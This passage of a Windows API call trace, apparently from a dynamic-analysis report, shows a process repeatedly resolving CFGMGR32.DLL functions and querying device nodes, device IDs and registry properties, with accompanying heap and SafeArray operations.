lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.500] malloc (_Size=0x18) returned 0x20abc281fe0 [0241.500] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x32, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0241.501] malloc (_Size=0x48) returned 0x20abc27cf80 [0241.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4bb4ea8d, dwHighDateTime=0x1d9eb0c)) [0241.501] SetEvent (hEvent=0x248) returned 1 [0241.506] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.506] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.509] malloc (_Size=0x18) returned 0x20abc281de0 [0241.510] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x32, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0241.510] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4bb74e8e, dwHighDateTime=0x1d9eb0c)) [0241.510] SetEvent (hEvent=0x248) returned 1 [0241.570] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.570] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.574] malloc (_Size=0x18) returned 0x20abc281b20 [0241.574] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0241.574] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4bc0d555, dwHighDateTime=0x1d9eb0c)) [0241.575] SetEvent (hEvent=0x248) returned 1 [0241.581] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.581] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.584] malloc (_Size=0x18) returned 0x20abc281d20 [0241.585] CM_Get_Device_IDA (in: dnDevInst=0x33, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_293A&SUBSYS_11001AF4&REV_03\\3&11583659&0&10") returned 0x0 [0241.585] malloc (_Size=0x48) returned 0x20abc27cf80 [0241.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4bc33819, dwHighDateTime=0x1d9eb0c)) [0241.585] SetEvent (hEvent=0x248) returned 1 [0241.589] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.589] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.592] malloc (_Size=0x18) returned 0x20abc281fc0 [0241.592] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0241.593] malloc (_Size=0x124) returned 0x20abc286870 [0241.593] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0241.594] free (_Block=0x20abc286870) [0241.594] malloc (_Size=0x48) returned 0x20abc27cf80 [0241.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4bc33819, dwHighDateTime=0x1d9eb0c)) [0241.594] SetEvent (hEvent=0x248) returned 1 [0241.598] malloc (_Size=0x18) returned 0x20abc282060 [0241.598] SafeArrayPutElement (psa=0x20abbaf22e0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0241.598] free (_Block=0x20abc282060) [0241.598] malloc (_Size=0x18) returned 0x20abc281fc0 [0241.598] SafeArrayPutElement (psa=0x20abbaf22e0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0241.598] free (_Block=0x20abc281fc0) [0241.598] malloc (_Size=0x18) returned 0x20abc281c60 [0241.598] SafeArrayPutElement (psa=0x20abbaf22e0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0241.598] free (_Block=0x20abc281c60) [0241.598] malloc (_Size=0x18) returned 0x20abc281e80 [0241.598] SafeArrayPutElement (psa=0x20abbaf22e0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0241.598] free (_Block=0x20abc281e80) [0241.598] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c470 [0241.598] SafeArrayGetDim (psa=0x20abbaf22e0) returned 0x1 [0241.598] SafeArrayGetLBound (in: psa=0x20abbaf22e0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0241.599] SafeArrayGetUBound (in: psa=0x20abbaf22e0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0241.599] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0241.599] SafeArrayGetDim (psa=0x20abbaf22e0) returned 0x1 [0241.599] SafeArrayGetUBound (in: psa=0x20abbaf22e0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0241.599] SafeArrayGetElemsize (psa=0x20abbaf22e0) returned 0x8 [0241.599] SafeArrayGetElement (in: psa=0x20abbaf22e0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0241.599] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.599] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.600] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.600] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.601] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0241.601] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c470) returned 1 [0241.602] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.602] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.606] malloc (_Size=0x18) returned 0x20abc281f20 [0241.607] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0241.607] malloc (_Size=0x10e) returned 0x20abc286870 [0241.607] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0241.608] free (_Block=0x20abc286870) [0241.608] malloc (_Size=0x48) returned 0x20abc2abc20 [0241.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4bc59ad8, dwHighDateTime=0x1d9eb0c)) [0241.609] SetEvent (hEvent=0x248) returned 1 [0241.652] malloc (_Size=0x18) returned 0x20abc2820c0 [0241.652] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0241.653] free (_Block=0x20abc2820c0) [0241.653] malloc (_Size=0x18) returned 0x20abc281a20 [0241.653] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0241.653] free (_Block=0x20abc281a20) [0241.653] malloc (_Size=0x18) returned 0x20abc281ee0 [0241.653] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0241.653] free (_Block=0x20abc281ee0) [0241.653] malloc (_Size=0x18) returned 0x20abc281e40 [0241.653] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0241.653] free (_Block=0x20abc281e40) [0241.653] malloc (_Size=0x18) returned 0x20abc281b20 [0241.653] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0241.653] free (_Block=0x20abc281b20) [0241.653] malloc (_Size=0x18) returned 0x20abc2819a0 [0241.653] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0241.653] free (_Block=0x20abc2819a0) [0241.654] malloc (_Size=0x18) returned 0x20abc281b40 [0241.654] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0241.654] free (_Block=0x20abc281b40) [0241.654] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0241.654] SafeArrayGetDim (psa=0x20abbaf16a0) returned 0x1 [0241.654] SafeArrayGetLBound (in: psa=0x20abbaf16a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0241.654] SafeArrayGetUBound (in: psa=0x20abbaf16a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0241.654] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0241.654] SafeArrayGetDim (psa=0x20abbaf16a0) returned 0x1 [0241.654] SafeArrayGetUBound (in: psa=0x20abbaf16a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0241.654] SafeArrayGetElemsize (psa=0x20abbaf16a0) returned 0x8 [0241.654] SafeArrayGetElement (in: psa=0x20abbaf16a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0241.655] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2390, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.655] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2398, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.655] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf23a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.655] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf23a8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.655] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf23b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.656] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf23b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.656] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf23c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.657] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0241.657] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0241.658] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.658] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.661] GetProcAddress 